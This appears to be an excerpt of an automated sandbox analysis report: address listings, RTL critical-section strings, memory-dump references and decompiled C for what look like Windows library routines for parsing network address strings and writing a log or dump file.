0x0098ec6f
0x009c23f3
0x009c23f8
0x009c23fa
0x009c23fc
0x0098ec75
0x0098ec76
0x0098ec76
0x0098ec7b
0x0098ec7c
0x0098ec7e
0x009c2406
0x009c2407
0x009c240c
0x009c240d
0x009c240d
0x009c240d
0x009c2414
0x009c2417
0x009c241e
0x009c2435
0x009c2438
0x009c243c
0x009c243f
0x009c2442
0x009c2443
0x009c2446
0x009c2449
0x009c2453
0x009c2455
0x009c245b
0x009c245b
0x0098eb99
0x0098eb99
0x0098eb9c
0x0098eb9d
0x0098eb9f
0x0098eba2
0x009c2465
0x009c246b
0x009c246d
0x0098eba8
0x0098eba9
0x0098eba9
0x0098ebae
0x0098ebb3
0x0098ebb9
0x0098ebbb
0x009c2513
0x009c2514
0x009c2519
0x009c251b
0x0098ec2a
0x0098ec2d
0x0098ec33
0x0098ec36
0x0098ec3a
0x0098ec3e
0x0098ec40
0x0098ec47
0x0098ec47
0x0098ec40
0x009622c6
0x0098ebc1
0x0098ebc1
0x0098ebc5
0x0098ec9a
0x0098ec9a
0x0098ebd6
0x0098ebd6
0x00000000
0x0098ebbb
0x009c2477
0x009c247c
0x009c2486
0x009c248b
0x009c2496
0x009c249b
0x009c249d
0x009c24a0
0x009c24a3
0x009c24aa
0x009c24aa
0x009c24a5
0x009c24a5
0x009c24a5
0x009c24ac
0x009c24af
0x009c24b0
0x009c24b3
0x009c24b9
0x009c24ba
0x009c24bb
0x009c24c6
0x009c24cb
0x009c24cd
0x009c24d0
0x009c24d1
0x009c24d4
0x009c24d6
0x009c24d9
0x009c24d9
0x009c24dc
0x009c24df
0x009c24e1
0x009c24e7
0x009c24e9
0x009c24ec
0x009c24ef
0x009c24f2
0x009c24f2
0x009c24ef
0x009c24e7
0x009c24fa
0x009c24ff
0x009c2501
0x009c2503
0x009c2506
0x009c250b
0x0098eb8c
0x0098eb93
0x00000000
0x00000000
0x0098eb93
0x00000000
0x0098eb99
0x0098ec85
0x0098ec85
0x0098ec85
0x00000000

Strings

RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 009C24BD
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 009C248D
RTL: Re-Waiting, xrefs: 009C24FA

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: ea6d2248df0375a06848bee3cf2ecb441571b865c640ec386e8ab47a86b1c9d5
Instruction ID: 16abb3a5f17846f9f0263899611f7746e4d1ad7d111184efa7103692e4948e63
Opcode Fuzzy Hash: ea6d2248df0375a06848bee3cf2ecb441571b865c640ec386e8ab47a86b1c9d5
Instruction Fuzzy Hash: D041E670A00204ABD724EFA9CC99FAB77A8EFC5720F208A19F5559B3D1D734E94187A1

Uniqueness

Uniqueness Score: -1.00%

Function 0099FCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0099FCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E0099EE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E0099EE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E0099685D(_t167, 4) == 0) {
								if(E0099685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E0099685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E0099685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E00978980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E0096DFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E0099EE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E0099EE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x0099fcd1
0x0099fcd6
0x0099fcd9
0x0099fcdc
0x0099fcdf
0x0099fce2
0x0099fce5
0x0099fce8
0x0099fceb
0x0099fced
0x0099fced
0x0099fcf3
0x00000000
0x00000000
0x0099fcfc
0x0099fcfe
0x0099fdc1
0x009cecbd
0x00000000
0x009ceccc
0x009ceccc
0x009cecd2
0x00000000
0x00000000
0x009cecdf
0x009cece0
0x009cece4
0x009ceceb
0x009cecee
0x009ceca8
0x009ceca8
0x009cecaa
0x0099fd76
0x0099fd79
0x0099fdb4
0x0099fdb5
0x0099fdb6
0x00000000
0x0099fdb6
0x0099fd7e
0x009cecfc
0x0099fe2f
0x00000000
0x0099fe2f
0x009ced08
0x009ced0f
0x009ced17
0x009ced1b
0x00000000
0x009ced1b
0x0099fd88
0x00000000
0x00000000
0x0099fd94
0x0099fd99
0x0099fda1
0x00000000
0x00000000
0x0099fdb0
0x00000000
0x0099fdb0
0x009cecbd
0x0099fdc7
0x0099fdcb
0x00000000
0x0099fdd7
0x0099fde3
0x0099fe06
0x009b1fe7
0x00000000
0x00000000
0x009b1fef
0x009b1ff0
0x009b1ff4
0x009b1ff7
0x009b1ffa
0x009b1ffd
0x009b2000
0x00000000
0x00000000
0x009cecf1
0x00000000
0x009cecf1
0x00000000
0x0099fe06
0x0099fde8
0x0099fdec
0x0099fdef
0x0099fdf2
0x00000000
0x0099fdf2
0x0099fdcb
0x0099fd04
0x0099fd05
0x009cec67
0x00000000
0x00000000
0x009cec6f
0x00000000
0x009cec6f
0x0099fd13
0x0099fd3c
0x0099fd40
0x009cec75
0x009cec7a
0x00000000
0x009cec8a
0x009cec8a
0x009cec90
0x009cecb2
0x0099fd73
0x0099fd73
0x00000000
0x0099fd73
0x009cec95
0x00000000
0x00000000
0x009ceca1
0x009ceca4
0x009ceca5
0x00000000
0x009ceca5
0x009cec7a
0x0099fd4a
0x00000000
0x0099fd6e
0x0099fd6e
0x0099fd71
0x00000000
0x0099fd71
0x0099fd4a
0x0099fd21
0x009aa3a1
0x00000000
0x009aa3a1
0x0099fd36
0x009b200b
0x009b2012
0x00000000
0x00000000
0x009b2018
0x00000000
0x009b2018
0x00000000
0x0099fd36
0x0099fe0f
0x0099fe16
0x009aa3ad
0x00000000
0x00000000
0x009aa3b3
0x009aa3b3
0x0099fe1f
0x009ced25
0x009ced86
0x00000000
0x00000000
0x009ced91
0x009ced95
0x009ced95
0x009ced9a
0x009cedad
0x009cedb3
0x009cedba
0x009cedc4
0x009cedc9
0x00000000
0x009cedcc
0x009ced2a
0x009ced55
0x00000000
0x00000000
0x009ced61
0x009ced66
0x009ced6e
0x00000000
0x00000000
0x009ced7d
0x00000000
0x009ced7d
0x009ced30
0x00000000
0x00000000
0x009ced3c
0x009ced43
0x009ced4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 0099FD94

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 37ec77aa07be603a98bbf8bb6b77a1d0c5034cb92a9936484ba851af09907f86
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 41919F72D0420AEBDF24CF9CC855BEEB7B8EF55305F24847AD452E61A2E7304A41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A1E9FF, Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00A1E9FF(void* __edx, signed int _a4, intOrPtr _a8, char _a12) {
				signed int _v5;
				int _v12;
				signed int _v16;
				char _v20;
				int _v24;
				signed int _v28;
				int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				char _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void _v96;
				char _v100;
				void _v140;
				char _v144;
				intOrPtr _v160;
				intOrPtr _v164;
				char _v172;
				char _v216;
				char _v220;
				void* __edi;
				void* __esi;
				void* _t231;
				signed char _t233;
				signed int _t237;
				signed int _t238;
				signed int _t244;
				short _t251;
				signed int _t253;
				signed int* _t254;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t260;
				signed int _t267;
				signed int _t271;
				intOrPtr _t281;
				signed int _t314;
				signed char _t316;
				signed int _t319;
				signed int _t322;
				signed int _t323;
				signed int _t326;
				signed int _t328;
				signed int _t330;
				signed int _t332;
				signed int _t334;
				int _t340;
				intOrPtr* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t345;
				signed int _t347;
				signed int _t352;
				void* _t360;
				intOrPtr* _t370;
				intOrPtr _t371;
				intOrPtr* _t372;

				_t360 = __edx;
				_t340 = 0;
				_t345 = 0xa;
				_v144 = 0;
				memset( &_v140, 0, _t345 << 2);
				_v20 = 0;
				_v220 = 0;
				E0096DFC0( &_v216, 0, 0x2c);
				_t371 = _a8;
				_t347 = 7;
				_v100 = 0;
				_t231 = memset( &_v96, 0, _t347 << 2);
				_t348 = 0;
				_v12 = 0;
				_v32 = 0;
				_v24 = 0;
				_v5 = _t231;
				if(_t371 != 0) {
					_v5 = 1;
				}
				_t370 = _a4;
				_t233 =  *(_t370 + 0xcc) >> 3;
				_t380 = _t233 & 0x00000001;
				if((_t233 & 0x00000001) != 0) {
					E00A1E919(_t360, _t380, _t370 + 0x70, _t370 + 0x78, _t370 + 0x68);
				}
				_v52 =  *((intOrPtr*)(_t370 + 0x6c));
				_v16 =  *(_t370 + 0x80);
				if(_v5 != _t340) {
					_t42 = _t371 + 0x20; // 0xa1c2d6
					_v32 = _t42;
					_t44 = _t371 + 4; // 0x5bcd335e
					_t237 =  *_t44 & 0x0000ffff;
					_v24 = _t237;
					_t238 = _t237 + 0x48;
					__eflags = _t238;
					L12:
					_v28 = _t238;
					_t372 = E0096E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _v16);
					if(_t372 != _t340) {
						_t54 = _t372 + 0x48; // 0x48
						_t341 = _t54;
						_t244 = E00A1E519(_t360, _v52, 0xc0000000, 1,  &_a12, 0x20000080,  &_v12);
						__eflags = _t244;
						_a4 = _t244;
						if(_t244 < 0) {
							L49:
							__eflags = _v12;
							if(_v12 != 0) {
								E0095F9F0(_v12);
							}
							L51:
							_t340 = 0;
							__eflags = 0;
							L52:
							if(_t372 != _t340) {
								E0096E025(_t348,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t340, _t372);
							}
							L54:
							return _a4;
						}
						__eflags = _a12 - 1;
						if(_a12 != 1) {
							 *_t372 = _v16;
							_t251 = 4;
							 *((short*)(_t372 + 0x36)) = _t251;
							 *((short*)(_t372 + 0x34)) = 1;
							_t253 = _v28;
							 *((char*)(_t372 + 0x29)) = 8;
							 *(_t372 + 0x30) = _t253;
							__eflags = _v5;
							if(_v5 != 0) {
								_t254 = _v32;
								_t254[8] =  *(_t370 + 0xcc) & 0x00101000 | 0x00010001;
								_t254[9] = 1;
								 *_t254 =  *(_t370 + 0x80);
								 *((char*)(_t372 + 0x6e)) = 1;
								 *((char*)(_t372 + 0x6f)) = 5;
								__eflags = _t254[0xb] - 8;
								if(_t254[0xb] != 8) {
									_t187 =  &(_t254[0x42]); // 0xf938e834
									_t255 =  *_t187;
								} else {
									_t186 =  &(_t254[0x44]); // 0x14538910
									_t255 =  *_t186;
								}
								 *(_t370 + 0x10) = _t255;
								E00962340(_t341, _a8, _v24);
								L39:
								_t257 =  *(_t372 + 0x30);
								_t342 = _v16;
								__eflags = _t257 - _t342;
								if(_t257 < _t342) {
									__eflags = _t257 - 0x48;
									if(_t257 > 0x48) {
										__eflags = _t257 + _t372;
										E0096DFC0(_t257 + _t372, 0xff, _t342 - _t257);
									}
								}
								_push(0);
								_push(0);
								_push(_t342);
								_push(_t372);
								_t348 =  &_v60;
								_push( &_v60);
								_push(0);
								_push(0);
								_push(0);
								_t259 = E0095F938(_v12);
								_a4 = _t259;
								__eflags = _t259;
								if(_t259 < 0) {
									goto L49;
								} else {
									_t260 =  *(_t370 + 0xc8);
									__eflags = _t260;
									if(_t260 == 0) {
										L48:
										_t348 = _v12;
										 *(_t370 + 0x100) = 1;
										 *(_t370 + 0xd8) = 1;
										__eflags = 0;
										 *(_t370 + 0xf0) = _t342;
										 *(_t370 + 0xf4) = 0;
										 *(_t370 + 0xe8) = _t342;
										 *(_t370 + 0xec) = 0;
										 *(_t370 + 0x5c) = _v12;
										_v12 = 0;
										goto L49;
									}
									_t352 =  *(_t370 + 0xcc);
									__eflags = _t352 & 0x00000020;
									if((_t352 & 0x00000020) == 0) {
										goto L48;
									}
									__eflags = _t352 & 0x00002000;
									_t348 = 0x400;
									if((_t352 & 0x00002000) == 0) {
										_t348 = 0x100000;
									}
									_push(0x14);
									_v40 = _t260 * _t348;
									_push(8);
									_push( &_v40);
									_push( &_v60);
									_v36 = _t260 * _t348 >> 0x20;
									_t267 = E0095FC48(_v12);
									_a4 = _t267;
									__eflags = _t267;
									if(_t267 < 0) {
										goto L49;
									} else {
										goto L48;
									}
								}
							}
							 *((intOrPtr*)(_t341 + 4)) = _t253 + 0xffffffb8;
							 *_t341 = 0xc0010000;
							_t271 =  *(_t370 + 0x10);
							__eflags = _t271 - 2;
							if(_t271 != 2) {
								__eflags = _t271 - 3;
								if(_t271 != 3) {
									_v48 = 0;
									_v44 = 0;
									E00972954(1, _t372,  &_v48);
									 *(_t341 + 0x10) = _v48;
									 *((intOrPtr*)(_t341 + 0x14)) = _v44;
									L34:
									 *((intOrPtr*)(_t341 + 0xc)) = _v164;
									 *((intOrPtr*)(_t341 + 8)) = _v160;
									 *((intOrPtr*)(_t341 + 0x18)) = E009A4FC0(_v84, _v80, _v140, 0);
									 *((intOrPtr*)(_t341 + 0x1c)) = E009A4FC0(_v76, _v72, _v140, 0);
									_t281 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
									 *((char*)(_t372 + 0x6c)) =  *((intOrPtr*)(_t281 + 0xa4));
									 *((char*)(_t372 + 0x6d)) =  *((intOrPtr*)(_t281 + 0xa8));
									 *((char*)(_t372 + 0x6e)) = 1;
									 *((char*)(_t372 + 0x6f)) = 5;
									 *(_t372 + 0x70) =  *(_t281 + 0xac) & 0x0000ffff;
									 *(_t372 + 0x170) =  *(_t370 + 0x10);
									 *(_t372 + 0x74) =  *(_t370 + 0x7c);
									 *((intOrPtr*)(_t372 + 0x90)) = 1;
									 *(_t372 + 0x8c) = 1;
									 *((intOrPtr*)(_t372 + 0x94)) = 4;
									 *((intOrPtr*)(_t372 + 0x68)) = _v16;
									 *(_t372 + 0x84) =  *(_t370 + 0xc8);
									 *(_t372 + 0x88) =  *(_t370 + 0xcc);
									 *((intOrPtr*)(_t372 + 0x80)) = _v140;
									 *((intOrPtr*)(_t372 + 0x158)) = _v220;
									 *(_t372 + 0xa0) =  *(_t372 + 0xa0) & 0x00000000;
									 *(_t372 + 0xa4) =  *(_t372 + 0xa4) & 0x00000000;
									 *((intOrPtr*)(_t372 + 0x15c)) = _v216;
									 *((intOrPtr*)(_t372 + 0x9c)) = _v20;
									_t163 = _t372 + 0x178; // 0x178
									E00962340(_t163,  *((intOrPtr*)(_t370 + 0x64)), ( *(_t370 + 0x60) & 0x0000ffff) + 2);
									E00962340(( *(_t370 + 0x60) & 0x0000ffff) + _t372 + 0x17a,  *((intOrPtr*)(_t370 + 0x6c)), ( *(_t370 + 0x68) & 0x0000ffff) + 2);
									_t169 = _t372 + 0xa8; // 0xa8
									E00A1E649(0, _t370, _t372, _t169);
									_t170 = _t372 + 0x160; // 0x160
									E0097B2FA(_v16, 0, _t170);
									 *((intOrPtr*)(_t372 + 0x168)) =  *_t370;
									 *((intOrPtr*)(_t372 + 0x16c)) =  *((intOrPtr*)(_t370 + 4));
									 *(_t341 + 0x10) =  *(_t370 + 8);
									 *((intOrPtr*)(_t341 + 0x14)) =  *((intOrPtr*)(_t370 + 0xc));
									goto L39;
								}
								asm("rdtsc");
								L32:
								 *(_t341 + 0x10) = _t271;
								 *((intOrPtr*)(_t341 + 0x14)) = 0;
								goto L34;
							}
							_t271 = E00A1BCFC();
							goto L32;
						}
						_push(0);
						_push( &_v68);
						_push(_v16);
						_push(_t372);
						_push( &_v60);
						_push(0);
						_push(0);
						_push(0);
						_v68 = 0;
						_v64 = 0;
						_t314 = E0095F900(_v12);
						_a4 = _t314;
						__eflags = _t314;
						if(_t314 < 0) {
							goto L49;
						}
						_t316 =  *(_t372 + 0x88) >> 1;
						__eflags = _t316 & 0x00000001;
						if((_t316 & 0x00000001) == 0) {
							__eflags =  *((intOrPtr*)(_t372 + 0x6c)) -  *0x7ffe026c;
							if( *((intOrPtr*)(_t372 + 0x6c)) !=  *0x7ffe026c) {
								goto L18;
							}
							__eflags =  *((intOrPtr*)(_t372 + 0x6d)) -  *0x7ffe0270;
							if( *((intOrPtr*)(_t372 + 0x6d)) !=  *0x7ffe0270) {
								goto L18;
							}
							__eflags =  *((intOrPtr*)(_t372 + 0x94)) - 4;
							if( *((intOrPtr*)(_t372 + 0x94)) != 4) {
								goto L18;
							}
							_t319 =  *((intOrPtr*)(_t372 + 0x68));
							_t343 =  *(_t372 + 0x8c);
							_v16 = _t319;
							__eflags = _t319 + 0xfffffc00 - 0xffc00;
							if(_t319 + 0xfffffc00 > 0xffc00) {
								goto L18;
							}
							__eflags = _t343;
							if(_t343 == 0) {
								goto L18;
							}
							_t348 =  *(_t372 + 0x78) |  *(_t372 + 0x7c);
							__eflags =  *(_t372 + 0x78) |  *(_t372 + 0x7c);
							if(( *(_t372 + 0x78) |  *(_t372 + 0x7c)) == 0) {
								goto L18;
							}
							_t348 =  *(_t372 + 0x74);
							__eflags =  *(_t372 + 0x74) -  *(_t370 + 0x7c);
							if( *(_t372 + 0x74) !=  *(_t370 + 0x7c)) {
								goto L18;
							}
							_push(0);
							_push( &_v68);
							 *(_t372 + 0x78) = 0;
							 *(_t372 + 0x7c) = 0;
							_push( *(_t370 + 0x80));
							_t348 =  &_v60;
							_push(_t372);
							_push( &_v60);
							_push(0);
							_push(0);
							_push(0);
							_t322 = E0095F938(_v12);
							 *(_t370 + 0xec) =  *(_t370 + 0xec) & 0x00000000;
							_a4 = _t322;
							_t323 = _v16;
							 *(_t370 + 0x100) = _t343;
							 *(_t370 + 0xd8) = _t343;
							 *(_t370 + 0xf4) =  *(_t370 + 0xf4) & 0x00000000;
							 *(_t370 + 0x80) = _t323;
							 *(_t370 + 0xe8) = _t323;
							 *(_t370 + 0xf0) = _t343 * _t323;
							 *(_t370 + 0x5c) = _v12;
							goto L51;
						}
						L18:
						_a4 = 0xc000000d;
						goto L49;
					}
					_a4 = 0xc0000017;
					goto L52;
				}
				_push(_t340);
				_push(0x2c);
				_push( &_v144);
				_t326 = E0095FDC0(_t340);
				_a4 = _t326;
				if(_t326 < _t340) {
					goto L54;
				}
				_push(_t340);
				_push(0x1c);
				_push( &_v172);
				_push(_t340);
				_t328 = E0095FC18(0xfffffffe);
				_a4 = _t328;
				if(_t328 < _t340) {
					goto L54;
				}
				_push(_t340);
				_push(0x20);
				_push( &_v100);
				_push(1);
				_t330 = E0095FC18(0xfffffffe);
				_a4 = _t330;
				if(_t330 < _t340) {
					goto L54;
				}
				_push(_t340);
				_push(0x30);
				_push( &_v220);
				_t332 = E0095FDC0(3);
				_a4 = _t332;
				if(_t332 < _t340) {
					goto L54;
				}
				_t334 = E009B8001(_t348, _t360, _t370, _t340,  &_v20);
				_a4 = _t334;
				if(_t334 < _t340) {
					goto L54;
				}
				_t348 =  *(_t370 + 0x60) & 0x0000ffff;
				_t238 = ( *(_t370 + 0x68) & 0x0000ffff) + ( *(_t370 + 0x60) & 0x0000ffff) + 0x17c;
				goto L12;
			}

0x00a1e9ff
0x00a1ea0f
0x00a1ea11
0x00a1ea1c
0x00a1ea22
0x00a1ea2c
0x00a1ea2f
0x00a1ea35
0x00a1ea3a
0x00a1ea44
0x00a1ea48
0x00a1ea4b
0x00a1ea4b
0x00a1ea4d
0x00a1ea50
0x00a1ea53
0x00a1ea56
0x00a1ea5b
0x00a1ea5d
0x00a1ea5d
0x00a1ea61
0x00a1ea6a
0x00a1ea6d
0x00a1ea6f
0x00a1ea7d
0x00a1ea7d
0x00a1ea85
0x00a1ea8e
0x00a1ea94
0x00a1eb2f
0x00a1eb32
0x00a1eb35
0x00a1eb35
0x00a1eb39
0x00a1eb3c
0x00a1eb3c
0x00a1eb3f
0x00a1eb42
0x00a1eb58
0x00a1eb5c
0x00a1eb81
0x00a1eb81
0x00a1eb84
0x00a1eb8b
0x00a1eb8d
0x00a1eb90
0x00a1ef60
0x00a1ef60
0x00a1ef64
0x00a1ef69
0x00a1ef69
0x00a1ef6e
0x00a1ef6e
0x00a1ef6e
0x00a1ef70
0x00a1ef72
0x00a1ef82
0x00a1ef82
0x00a1ef87
0x00a1ef8e
0x00a1ef8e
0x00a1eb96
0x00a1eb9a
0x00a1ec92
0x00a1ec98
0x00a1ec9a
0x00a1eca0
0x00a1eca4
0x00a1eca7
0x00a1ecab
0x00a1ecae
0x00a1ecb1
0x00a1ee59
0x00a1ee68
0x00a1ee6b
0x00a1ee74
0x00a1ee76
0x00a1ee7a
0x00a1ee7e
0x00a1ee82
0x00a1ee8c
0x00a1ee8c
0x00a1ee84
0x00a1ee84
0x00a1ee84
0x00a1ee84
0x00a1ee95
0x00a1ee9c
0x00a1eea4
0x00a1eea4
0x00a1eea7
0x00a1eeaa
0x00a1eeac
0x00a1eeae
0x00a1eeb1
0x00a1eeb8
0x00a1eec0
0x00a1eec5
0x00a1eeb1
0x00a1eeca
0x00a1eecb
0x00a1eecc
0x00a1eecd
0x00a1eece
0x00a1eed1
0x00a1eed2
0x00a1eed3
0x00a1eed4
0x00a1eed8
0x00a1eedd
0x00a1eee0
0x00a1eee2
0x00000000
0x00a1eee4
0x00a1eee4
0x00a1eeea
0x00a1eeec
0x00a1ef2e
0x00a1ef2e
0x00a1ef34
0x00a1ef3a
0x00a1ef40
0x00a1ef42
0x00a1ef48
0x00a1ef4e
0x00a1ef54
0x00a1ef5a
0x00a1ef5d
0x00000000
0x00a1ef5d
0x00a1eeee
0x00a1eef4
0x00a1eef7
0x00000000
0x00000000
0x00a1eef9
0x00a1eeff
0x00a1ef04
0x00a1ef06
0x00a1ef06
0x00a1ef0d
0x00a1ef0f
0x00a1ef12
0x00a1ef17
0x00a1ef1b
0x00a1ef1f
0x00a1ef22
0x00a1ef27
0x00a1ef2a
0x00a1ef2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00a1ef2c
0x00a1eee2
0x00a1ecba
0x00a1ecbd
0x00a1ecc3
0x00a1ecc6
0x00a1ecc9
0x00a1ecd2
0x00a1ecd5
0x00a1ece5
0x00a1ece8
0x00a1eceb
0x00a1ecf3
0x00a1ecf9
0x00a1ecfc
0x00a1ed02
0x00a1ed0d
0x00a1ed23
0x00a1ed37
0x00a1ed40
0x00a1ed49
0x00a1ed52
0x00a1ed58
0x00a1ed5c
0x00a1ed67
0x00a1ed6d
0x00a1ed76
0x00a1ed7c
0x00a1ed82
0x00a1ed88
0x00a1ed92
0x00a1ed9b
0x00a1eda7
0x00a1edb3
0x00a1edbf
0x00a1edcb
0x00a1edd2
0x00a1edd9
0x00a1ede2
0x00a1edf2
0x00a1edf9
0x00a1ee14
0x00a1ee1c
0x00a1ee23
0x00a1ee28
0x00a1ee2f
0x00a1ee36
0x00a1ee3f
0x00a1ee48
0x00a1ee4e
0x00000000
0x00a1ee4e
0x00a1ecd7
0x00a1ecd9
0x00a1ecd9
0x00a1ecdc
0x00000000
0x00a1ecdc
0x00a1eccb
0x00000000
0x00a1eccb
0x00a1eba0
0x00a1eba4
0x00a1eba5
0x00a1ebab
0x00a1ebac
0x00a1ebad
0x00a1ebae
0x00a1ebaf
0x00a1ebb3
0x00a1ebb6
0x00a1ebb9
0x00a1ebbe
0x00a1ebc1
0x00a1ebc3
0x00000000
0x00000000
0x00a1ebcf
0x00a1ebd1
0x00a1ebd3
0x00a1ebe4
0x00a1ebea
0x00000000
0x00000000
0x00a1ebef
0x00a1ebf5
0x00000000
0x00000000
0x00a1ebf7
0x00a1ebfe
0x00000000
0x00000000
0x00a1ec00
0x00a1ec03
0x00a1ec09
0x00a1ec11
0x00a1ec16
0x00000000
0x00000000
0x00a1ec1a
0x00a1ec1c
0x00000000
0x00000000
0x00a1ec21
0x00a1ec21
0x00a1ec24
0x00000000
